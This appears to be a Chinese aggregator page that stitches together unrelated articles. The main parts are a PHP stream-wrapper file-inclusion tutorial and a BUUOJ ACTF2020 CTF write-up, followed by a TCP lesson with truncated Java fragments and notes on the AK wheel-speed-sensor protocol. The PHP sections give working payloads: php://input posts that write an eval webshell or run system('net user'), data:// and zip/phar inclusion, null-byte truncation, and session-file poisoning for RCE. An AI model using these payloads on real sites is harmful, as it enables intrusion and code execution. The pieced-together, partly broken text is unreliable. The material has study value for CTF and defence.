本文将为您提供关于PHP伪协议学习的详细介绍,我们还将为您解释php伪协议总结的相关知识,同时,我们还将为您提供关于11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终
本文将为您提供关于PHP伪协议学习的详细介绍,我们还将为您解释php伪协议总结的相关知识,同时,我们还将为您提供关于11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终实现RCE、213 tcp 协议学习、ACTF2020新生赛 include-PHP伪协议、AK 传输协议学习的实用信息。
本文目录一览:- PHP伪协议学习(php伪协议总结)
- 11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终实现RCE
- 213 tcp 协议学习
- ACTF2020新生赛 include-PHP伪协议
- AK 传输协议学习
PHP伪协议学习(php伪协议总结)
常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file
PHP.ini:
allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。
本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。
0x01 是否截断问题:
本篇由以下这个简单的例子进行探讨,首先看如下两种文件包含情况。
情况一:不需要截断:
http://127.0.0.1/test.PHP?file=file:///c:/users/ctf/desktop/flag.txt
<?PHP
include($_GET['file'])
?>
情况二:需要截断:
在PHP版本<=5.2中进行测试是可以使用%00截断的。
http://127.0.0.1/test.PHP?file=file:///c:/users/ctf/desktop/flag.txt%00
<?PHP
include($_GET['file'].'.PHP')
?>
0x02 allow_url_fopen与allow_url_include是否开启的问题:
【file://协议】
PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
参考链接
使用方法:
file:// [文件的绝对路径和文件名]
http://127.0.0.1/cmd.PHP?file=file://D:/ctf/PHPStudy/WWW/flag.txt
【PHP://协议】
条件:
不需要开启allow_url_fopen,仅PHP://input、 PHP://stdin、 PHP://memory 和 PHP://temp 需要开启allow_url_include。
PHP:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是PHP://filter和PHP://input,PHP://filter用于读取源码,PHP://input用于执行PHP代码。
参考链接
PHP://filter 读取源代码并进行base64编码输出,不然会直接当做PHP代码执行就看不到源代码内容了。
PHP.ini:
PHP://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
http://127.0.0.1/cmd.PHP?file=PHP://filter/read=convert.base64-encode/resource=./cmd.PHP
PHP://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
PHP.ini:
allow_url_fopen :off/on
allow_url_include:on
测试现象:
http://127.0.0.1/cmd.PHP?file=PHP://input
[POST DATA] <?PHP PHPinfo()?>
也可以POST如下内容生成一句话: <?PHP fputs(fopen("shell.PHP","w"),'<?PHP eval($_POST["cmd"];?>');?>
【zip://, bzip2://, zlib://协议】
PHP.ini:
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
参考链接
【zip://协议】
使用方法:
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
测试现象:
http://127.0.0.1/cmd.PHP?file=zip://D:/soft/PHPStudy/WWW/file.jpg%23PHPcode.txt
先将要执行的PHP代码写好文件名为PHPcode.txt,将PHPcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于'#'在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
将PHPinfo.txt压缩成zip,实战中可以改后缀为jpg绕过上传限制。
http://192.168.43.173:8999/lsawebtest/PHPtest/PHProtocol1.PHP?file=zip://C:/PHPStudy/PHPTutorial/WWW/lsawebtest/PHPtest\PHPinfo.jpg%23PHPinfo.txt
注意要用绝对路径+url编码#
【bzip2://协议】
使用方法:
compress.bzip2://file.bz2
测试现象:
http://127.0.0.1/cmd.PHP?file=compress.bzip2://D:/soft/PHPStudy/WWW/file.jpg
http://127.0.0.1/cmd.PHP?file=compress.bzip2://./file.jpg
【zlib://协议】
使用方法:
compress.zlib://file.gz
测试现象:
http://127.0.0.1/cmd.PHP?file=compress.zlib://D:/soft/PHPStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.PHP?file=compress.zlib://./file.jpg
【data://协议】
data:// 协议是是受限于allow_url_fopen的
PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
参考链接
官方文档上allow_url_fopen应为yes。
测试现象:
http://127.0.0.1/cmd.PHP?file=data://text/plain,<?PHP PHPinfo()?>
http://127.0.0.1/cmd.PHP?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
也可以:
http://127.0.0.1/cmd.PHP?file=data:text/plain,<?PHP PHPinfo()?>
http://127.0.0.1/cmd.PHP?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
这里借鉴一个图:
资料1
资料2
11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终实现RCE
远程文件包含利用知识
配置条件:
Allow_url_fopen打开
Allow_url_include打开
%00截断(php<5.3版本)
%00截断:http://127.0.0.1/include/test.php?file=file1.html%00
有后缀名限制的文件包含
Include($_GET[“file”].”.php”);
<?php include("./up/".$_GET["file"]);?>
127.0.0.1/include/test.php?file=../../../../123.txt 这样的会直接目录跳转
同时又前后缀限制,需要重点考虑后缀名的绕过,方法如下:
%00截断
路径长度截断
?file=../../../../../boot.ini/./././.~~~~./././
PHP<5.2.8可以成功,linux需要文件名长于4096,windows需要长于256
PHP伪协议
Include($_POST[“a”]);
a=如下
zip:// 处理zip数据流
phar:// 处理rar数据流
PHP协议(get、post自己看着定)
?file=php://input POST:<? phpinfo();?>
利用条件:allow_url_include = On,对allow_url_fopen不做要求
如果将POST的数据修改为:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[''cmd'']);?>");?>
在当前的页面的目录下生成shell.php
include($_POST[“a”]);
a=php://input&<?php system(''net user'');?>
php://filter
条件:无
读取文件中内容(站点源码或者其他敏感文件)
file=php://filter/read=convert.base64-encode/resource=index.php
file=php://filter/convert.base64-encode/resource=index.php
file=php://filter/string.rot13/resource=index.php
string.rot13 对字符串执行ROT13转换
string.toupper转换为大写
string.tolower 转换为小写
string.strip_tags去除html和php标记
convert.base64-encode & convert.base64-decode :base64编码/解码
<?php phpinfo();?>--ROT13--> <?cuc cucvasb();?> te.php
file=php://filter/string.rot13/resource=te.php (最后直接执行)
如果使用rot13编码的方式去读PHP文件需要注意模块short_open_tag的开关情况,
则该方法仅限于当short_open_tag不开启的时候,读出来之后rot13解密即可!
Phpar://
要求:php>=5.30
ifno.txt打包成zip文件放到服务器目录中
相对路径访问:
127.0.0.1/include/test.php?a=phar://info.zip/info.txt
绝对路径访问:
127.0.0.1/include/test.php?a=phar://文件地址
zip://
要求:php>=5.3
只能使用绝对路径访问,并且将在压缩包后的/改为%23 (#的url写法)
127.0.0.1/include/test.php?a=phar://文件地址/ifno.zip%23info.txt
data://
条件:php>5.2
Allow_url_fopne=on
Allow_url_include=on
127.0.0.1/include/test.php?a=data://text/plain,<?php phpinfo();?>
注意有“,”
变形:64位加密并换为url
127.0.0.1/include/test.php?a=data://text/plain;base64,<?php phpinfo();?>(继续变)
127.0.0.1/include/test.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+(继续变)
127.0.0.1/include/test.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b(可用)
文件包含漏洞包含本地session最终实现RCE
Step1:找到文件包含漏洞点:127.0.0.1/fileInclude/nojieduan.php?file=test.txt
Step2:审计代码,发现可以往session文件中写入恶意代码(自己写)
修改浏览器中的参数x-forwarded-for的值
再次访问页面,就会在session中写入刚刚的值
从下面我们能知道该session的名称,或者直接文件中找
之后访问就能成功执行漏洞的语句127.0.0.1/fileInclude/nojieduan.php?file=D:\phpstudy_pro\Extensions\tmp\tmp\sess_f5ia0fjppgdriretmrh4bvq0u4
(session文件开头一般是sess_)
Step3:包含执行里面的恶意代码
共享文件实现有限条件下的远程文件包含
当allow_url_inculde和allow_url_fopen都是off的时候直接通过HTTP去进行远程文件包含会包含失败,但是可以通过SMB协议在这种情况下进行远程文件包含
213 tcp 协议学习
目的:学习tcp协议
参考文档:
https://blog.csdn.net/va110120/article/details/78831291
https://blog.csdn.net/kangkangwanwan/article/details/78839822
1.效果
2. 代码
服务端:
package cn.server; import java.io.IOException; |
客户端:
package cn.customer; import java.io.IOException; public class Customer { |
ACTF2020新生赛 include-PHP伪协议
PHP伪协议是什么
PHP伪协议(PHP pseudo-protocols)是一种PHP编程语言中的特殊功能,它允许开发者通过URL或文件路径来访问和处理各种数据源,包括文件、网络资源和其他数据。
PHP伪协议怎么用
这些伪协议在URL中以一种类似于标准协议(如HTTP、FTP等)的方式出现
PHP伪协议原理是什么
PHP解释器会处理不同的伪协议,并将它们映射到适当的处理程序和资源,过程为
- URL解析:当PHP脚本中包含一个使用伪协议的URL时,PHP解释器首先会解析这个URL,识别伪协议的部分(例如php://、file://等)以及相关的路径和参数。
- 伪协议处理器:一旦解析了伪协议,PHP解释器会确定要使用的伪协议处理器。每个伪协议都有对应的处理器,负责处理该伪协议所代表的操作。例如,file伪协议处理器用于处理本地文件,http伪协议处理器用于处理HTTP请求,等等。
- 资源访问:伪协议处理器会根据URL中的信息执行相应的操作,例如,如果是读取文件,它会打开文件并返回文件内容;如果是HTTP请求,它会发送HTTP请求并返回响应内容。
- 流操作:对于php://伪协议,它允许对PHP的输入和输出流进行操作。例如,php://stdin用于读取标准输入,php://stdout用于写入标准输出。这对于命令行脚本和程序的输入输出非常有用。
解题
打开题目,只有一个超链接
点击超链接 链接为http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=flag.php
通过file参数访问flag.php这个文件,然后将文件内容显示在网页上
页面内容只有一句话Can you find out the flag?
但是flag应该就在这个文件里了,只是因为某种原因显示不出来
用php伪协议php://
来指定用base64编码输出文件内容(php伪协议允许对PHP的输入和输出流就行处理 包括编码)
payload=file=php://filter/read=convert.base64-encode/resource=flag.php
得到一串base64编码字符串PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NDg5MzhlNjMtMTdmYi00NjdkLTk5MzQtNGVmZWY4MDJjNDVkfQo=
解密后得到
<?php
echo "Can you find out the flag?";
//flag{48938e63-17fb-467d-9934-4efef802c45d}
得到flag=flag{48938e63-17fb-467d-9934-4efef802c45d}
当url=http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=flag.php
PHP处理器会执行php中的代码,所以显示的是Can you find out the flag?
但是当url=http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php
PHP无法执行这串被编码的字符,就会直接输出
AK 传输协议学习
本文资料来自 KMI25/2; KMI25/4 的产品数据手册,如有不对的地方,欢迎大家指正。
AK 协议用于数据信号的传输,它是一种轮速传感器(WSS)和电子控制单元(ECU)的标准接口。由传感器产生的信号经过信号调理单元处理,产生速度信号和数据信号。
1.AK 信号的定义
AK 信号的格式如 Fig 6 所示。
一帧 AK 信号包含速度脉冲 (speed pulse) 和数据协议位 (data protocol bits),对应着速度信号和数据信号。速度脉冲反映齿轮的结构,且可根据相邻两个速度脉冲的时间间隔算出轮速。数据协议位表示其他额外信息,比如旋转方向、场幅度 (field amplitude) 等内容。AK 信号是通过改变电流的大小来传输数据,电流分为三级。高等级电流 (I_CCH,HIGH-level supply current),一般取 28mA,用于速度脉冲;中等级电流 (I_CCM,MID-level supply current),一般取 14mA,用于数据协议位;低等级电流 (I_CCL,LOW-level supply current),一般取 7mA,用于表示信号中的低电平。
当传感器检测到过零输入信号时(即检测到磁场为 0),延时 t_d(70~121us)后输出一个速度脉冲,脉冲宽度为 t_p(通常为 50us)。速度脉冲后面是最多有 9 个的数据单元,每个数据单元表示 1 位数据,每个数据单元的时长为 t_p。在速度脉冲和数据协议位的第一个数据单元之间存在 t_p/2 的时间间隔。
下图 (Fig 7) 是协议数据位的表示方法。在数据单元的时间段内,若检测到电流上升沿则表示数据 1,电流下降沿表示数据 0。若不存在电流边沿,则该位数据无效。
协议数据位最多有 9 位,每一位的定义如 Table 4。
2 AK 信号的两种状态
根据输入信号的频率不同,发出的 AK 信号将会有两种状态:低速运行和高速运行。
2.1 低速运行
当输入信号频率较低,以至于距离上次检测到过零输入信号的时间已超过 T_stop(通常为 150ms),则将信号重新发送一遍,但速度脉冲用电流大小为 I_CCM 的人工速度脉冲代替。若 T_stop 后依然未检测到过零输入信号,继续重复发送。如果在 1 秒内没有检测到过零信号,或相关迟滞电平在 250 毫秒内没有通过,系统进入低速模式,协议数据位中的模式位 (M) 由 0 变为 1。在重复发送信号时,若一帧信号还没发送完时检测到了过零信号输入,则发送新速度脉冲之前终止重复传输。因存在延时 t_d,所以在检测到过零信号后正在发送的数据单元可以正常发送完毕,并且发送新速度脉冲前存在至少 t_p/2 的时间间隔。如 Fig 8 所示。
2.2 高速运行
当输入信号的频率很高时,速度脉冲后面的 9 个数据单元并不一定会全部发送,但正在发送的数据单元都可以正常发送完毕,而且每帧数据一定存在一个速度脉冲。这种运行状态和低速运行中重复发送信号的终止方式一致,如 Fig 8 所示。
相关参数
我们今天的关于PHP伪协议学习和php伪协议总结的分享已经告一段落,感谢您的关注,如果您想了解更多关于11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终实现RCE、213 tcp 协议学习、ACTF2020新生赛 include-PHP伪协议、AK 传输协议学习的相关信息,请在本站查询。
本文标签: